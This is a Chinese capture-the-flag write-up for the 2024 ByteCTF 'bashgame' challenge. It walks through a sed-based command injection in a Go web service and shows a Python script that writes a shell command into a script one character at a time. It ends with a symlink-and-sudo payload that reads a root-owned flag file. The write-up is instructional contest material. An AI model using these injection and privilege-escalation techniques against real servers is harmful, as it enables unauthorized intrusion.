2024-Bytectf-bashgame分析
lhRaMk7 发表于 四川 CTF 559浏览 · 2024-09-19 09:51

源码分析

首先拿到题目附件可以得知

package main  

import (  
    "ByteCTF/lib/cmd"  

    "github.com/gin-gonic/gin")  

func main() {  
    r := gin.Default()  
    r.POST("/update", func(c *gin.Context) {  
       result := Update(c)  
       c.String(200, result)  
    })  
    r.GET("/", func(c *gin.Context) {  
       c.String(200, "Welcome to BashGame")  
    })  
    r.Run(":23333")  
}  

const OpsPath = "/opt/challenge/ops.sh"  
const CtfPath = "/opt/challenge/ctf.sh"  

func Update(c *gin.Context) string {  
    username := c.PostForm("name")  
    if len(username) < 6 {  
       _, err := cmd.Exec("/bin/bash", OpsPath, username)  
       if err != nil {  
          return err.Error()  
       }  
    }  
    ret, err := cmd.Exec("/bin/bash", CtfPath)  
    if err != nil {  
       return err.Error()  
    }  
    return string(ret)  
}

这里是通过cmd包里面的Exec方法去执行对应的sh脚本,模拟一个命令执行的操作
但是限制了参数username必须小于6,意味着只能5字符执行命令可以借助反引号进行命令执行,但是其他地方被限制了,本来想参考php4字符命令执行操作的,但是没成功,于是换思路,我们可以看到有两个命令执行的地方
大致就是当username<6的时候会执行"/opt/challenge/ops.sh"脚本
不管username为多少都会执行"/opt/challenge/ctf.sh" 脚本
分别看看这两个sh脚本
\
ctf.sh

#!/bin/bash  
echo welcome to Bytectf, username!

ops.sh

#!/bin/bash  
# -----------params------------  
name=$1  

switch_domain() {  
    conf_file="/opt/challenge/ctf.sh"  
    sed -i "s/Bytectf.*!/Bytectf, $name!/" "$conf_file"  
}  

# 调用函数  

switch_domain

发现这里利用ops.sh利用sed命令借助传入的参数进行替换ctf.sh里面从Bytectf开始到!结尾的字符串,替换完成后执行ctf.sh就能进行命令执行,这里就存在一个问题,由于是直接替换ctf.sh的文本内容,所以我们可以想办法让内容留在ctf.sh里面,再依次写入内容从而达到任意内容进而执行命令

贪婪匹配

在贪婪模式下,匹配器尽可能多地匹配符合要求的字符,直到不能再匹配为止。例如,正则表达式 `a.*b` 在匹配字符串 `"abbcab"` 时,会匹配整个字符串 `"abbcab"`,而不是期望的 `"ab"`。

对此需要了解下sed的正则匹配机制,是默认的贪婪匹配,并且没有非贪婪匹配的模式.所以这里我们没办法通过换掉!的方法截断匹配,但是由于我们是写入sh文件,可以通过#注释来把后面的!注释掉前面添加!来防止正则匹配失效从而无法后面写入

实践

小trike1:传参#注释符号的时候会被解析导致 # 被误解析为片段标识符如下

没办法直接注释url编码也不行,后面在vps上尝试的时候发现!会被直接当作历史标识符号从而导致写入失败,我们需要在特殊符号前面加入/即可写入成功,如下

发现e字符成功被写入了ctf.sh文件,接下来就可以构造命令进行执行了
小trike2:我们借助反引号进行命令写入的时候,因为只能一个一个写,导致没闭合,所以会返回exit status 2

这是正常的,之后写的字符都会被写进去,知道遇到下一个反隐号后会正常返回
如下

!`/#
!s/#
!l/#
!`/#

成功写入,并且命令执行
接下来就是构造并进行命令执行了,经过测试|和&写不进去,不知道为什么,所以反弹shell不了,只能写脚本进行构造字符串

最终exp

基于构造字符串进行写了个脚本

import requests  

char_map = {  
    'a': '!a/#',  
    'b': '!b/#',  
    'c': '!c/#',  
    'd': '!d/#',  
    'e': '!e/#',  
    'f': '!f/#',  
    'g': '!g/#',  
    'h': '!h/#',  
    'i': '!i/#',  
    'j': '!j/#',  
    'k': '!k/#',  
    'l': '!l/#',  
    'm': '!m/#',  
    'n': '!n/#',  
    'o': '!o/#',  
    'p': '!p/#',  
    'q': '!q/#',  
    'r': '!r/#',  
    's': '!s/#',  
    't': '!t/#',  
    'u': '!u/#',  
    'v': '!v/#',  
    'w': '!w/#',  
    'x': '!x/#',  
    'y': '!y/#',  
    'z': '!z/#',  
    'A': '!A/#',  
    'B': '!B/#',  
    'C': '!C/#',  
    'D': '!D/#',  
    'E': '!E/#',  
    'F': '!F/#',  
    'G': '!G/#',  
    'H': '!H/#',  
    'I': '!I/#',  
    'J': '!J/#',  
    'K': '!K/#',  
    'L': '!L/#',  
    'M': '!M/#',  
    'N': '!N/#',  
    'O': '!O/#',  
    'P': '!P/#',  
    'Q': '!Q/#',  
    'R': '!R/#',  
    'S': '!S/#',  
    'T': '!T/#',  
    'U': '!U/#',  
    'V': '!V/#',  
    'W': '!W/#',  
    'X': '!X/#',  
    'Y': '!Y/#',  
    'Z': '!Z/#',  
    '/': '!\//#',  
    ' ': '! /#',  
    '`': '!`/#',  
    '.': '!./#',  
    '"': '!\"/#',  
    '>': '!>#',  
    '-': '!-/#',  
    '|': '!|/#',  
    '0': '!0/#',  
    '1': '!1/#',  
    '2': '!2/#',  
    '3': '!3/#',  
    '4': '!4/#',  
    '5': '!5/#',  
    '6': '!6/#',  
    '7': '!7/#',  
    '8': '!8/#',  
    '9': '!9/#',  
    '{': '!{/#',  
    '}': '!}/#',  
    '=':'!=/#',  
    ',':'!,/#',  
    "'": "!'/#",  
    ";":"!;/#",  
    "$":"!$/#",  
}  

def replace_chars(input_string):  
    result = []  
    for char in input_string:  
        if char in char_map:  
            result.append(char_map[char])  
        else:  
            result.append(char)  # 如果字符没有定义替换规则,则保留原字符  
    return result  

def send_post_request(url, command):  
    replaced_chars = replace_chars(command)  
    for char in replaced_chars:  
        response = requests.post(url, data={'name': char})  
        print(f"发送字符: {char}, 响应状态码: {response.status_code}, 响应内容: {response.text}")  

# 示例用法  
url = "ip/update"  
command = input(":")  
send_post_request(url, command[::-1])

输入命令即可
我这里借助find找flag(出题人藏的好深)

但是发现是root权限
查看对应目录发现存在truegame.sh

total 16  
drwxr-xr-x 1 ctf  ctf   44 Sep 21 12:06 .  
drwxr-xr-x 1 root root  31 Sep 10 07:55 ..  
-rwxrwxrwx 1 ctf  ctf  117 Sep 21 12:06 ctf.sh  
-rwx------ 1 root root  42 Sep 21 12:05 flag  
-rwxrwxrwx 1 ctf  ctf  196 Sep  4 11:13 ops.sh  
-rwxr-xr-x 1 root root  81 Sep  6 04:09 truegame.sh

sudo -l 后发现

welcome to Bytectf, !
Matching Defaults entries for ctf on 000ad5b3c12b:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_pty
User ctf may run the following commands on 000ad5b3c12b:
    (ALL) NOPASSWD: /opt/challenge/truegame.sh

发现可以sudo执行truegame.sh
看看truegame.sh内容

#!/bin/bash  

if [[ "$1" -eq 1 ]]; then  
    sudo cat "$1"  
else  
    echo 'wrong'  
fi

发现会调用sudo cat命令,但是会检测第一个参数是不是1,所以他只能用来读取1这个文件,对此想到软连接,把flag链接到文件1下再调用即可,本地测试下

可行
构造最终payload

`cd /opt/challenge;pwd;ln -s flag 1;sudo ./truegame.sh 1`


根目录没权限写文件,直接在当前目录写,由于匹配的是1字符,只能更换工作目录/opt/challenge进行写入

得到flag!

若有问题,还请大佬指正

0 条评论
某人
表情
可输入 255
目录